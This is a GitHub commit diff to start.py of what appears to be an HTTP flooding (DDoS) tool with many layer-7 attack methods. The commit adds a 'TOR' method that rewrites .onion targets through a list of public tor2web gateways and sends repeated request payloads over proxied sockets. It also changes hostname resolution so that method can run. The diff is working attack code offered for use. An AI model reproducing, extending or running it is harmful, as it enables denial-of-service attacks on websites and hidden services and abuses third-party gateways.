Skip to content

Commit dd05c3f

Browse files
authored
added tor method
1 parent ce5c415 commit dd05c3f

1 file changed

Lines changed: 29 additions & 9 deletions

File tree

start.py

Lines changed: 29 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,7 @@
4848
__version__: str = "2.4 SNAPSHOT"
4949
__dir__: Path = Path(__file__).parent
5050
__ip__: Any = None
51+
tor2webs = ['onion.ly', 'tor2web.to', 'onion.org', 'onion.pet', 'onion.ws', 'onion.top', 'onion.dog']
5152

5253

5354
with open(__dir__ / "config.json") as f:
@@ -96,7 +97,7 @@ class Methods:
9697
LAYER7_METHODS: Set[str] = {
9798
"CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
9899
"NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
99-
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER"
100+
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER", "TOR"
100101
}
101102

102103

@@ -664,19 +665,19 @@ def generate_payload(self, other: str = None) -> bytes:
664665
(other if other else "") +
665666
"\r\n"))
666667

667-
def open_connection(self) -> socket:
668+
def open_connection(self, host=None) -> socket:
668669
if self._proxies:
669670
sock = randchoice(self._proxies).open_socket(AF_INET, SOCK_STREAM)
670671
else:
671672
sock = socket(AF_INET, SOCK_STREAM)
672673

673674
sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)
674675
sock.settimeout(.9)
675-
sock.connect(self._raw_target)
676+
sock.connect(host or self._raw_target)
676677

677678
if self._target.scheme.lower() == "https":
678679
sock = ctx.wrap_socket(sock,
679-
server_hostname=self._target.host,
680+
server_hostname=host[0] if host else self._target.host,
680681
server_side=False,
681682
do_handshake_on_connect=True,
682683
suppress_ragged_eofs=True)
@@ -690,7 +691,7 @@ def randHeadercontent(self) -> str:
690691

691692
@staticmethod
692693
def getMethodType(method: str) -> str:
693-
return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "COOKIE", "OVH", "EVEN",
694+
return "GET" if {method.upper()} & {"CFB", "CFBUAM", "GET", "TOR", "COOKIE", "OVH", "EVEN",
694695
"DYN", "SLOW", "PPS", "APACHE",
695696
"BOT", } \
696697
else "POST" if {method.upper()} & {"POST", "XMLRPC", "STRESS"} \
@@ -709,6 +710,20 @@ def POST(self) -> None:
709710
Tools.send(s, payload)
710711
Tools.safe_close(s)
711712

713+
def TOR(self) -> None:
714+
provider = "." + randchoice(tor2webs)
715+
target = self._target.authority.replace(".onion", provider)
716+
payload: Any = str.encode(self._payload +
717+
f"Host: {target}\r\n" +
718+
self.randHeadercontent +
719+
"\r\n")
720+
s = None
721+
target = self._target.host.replace(".onion", provider), self._raw_target[1]
722+
with suppress(Exception), self.open_connection(target) as s:
723+
for _ in range(self._rpc):
724+
Tools.send(s, payload)
725+
Tools.safe_close(s)
726+
712727
def STRESS(self) -> None:
713728
payload: bytes = self.generate_payload(
714729
("Content-Length: 524\r\n"
@@ -1050,6 +1065,8 @@ def select(self, name: str) -> None:
10501065
self.SENT_FLOOD = self.NULL
10511066
if name == "COOKIE":
10521067
self.SENT_FLOOD = self.COOKIES
1068+
if name == "TOR":
1069+
self.SENT_FLOOD = self.TOR
10531070
if name == "PPS":
10541071
self.SENT_FLOOD = self.PPS
10551072
self._defaultpayload = (
@@ -1429,10 +1446,13 @@ def handleProxyList(con, proxy_li, proxy_ty, url=None):
14291446
if method in Methods.LAYER7_METHODS:
14301447
url = URL(urlraw)
14311448
host = url.host
1432-
try:
1433-
host = gethostbyname(url.host)
1434-
except Exception as e:
1435-
exit('Cannot resolve hostname ', url.host, e)
1449+
1450+
if method != "TOR":
1451+
try:
1452+
host = gethostbyname(url.host)
1453+
except Exception as e:
1454+
exit('Cannot resolve hostname ', url.host, str(e))
1455+
14361456
threads = int(argv[4])
14371457
rpc = int(argv[6])
14381458
timer = int(argv[7])

0 commit comments

Comments
 (0)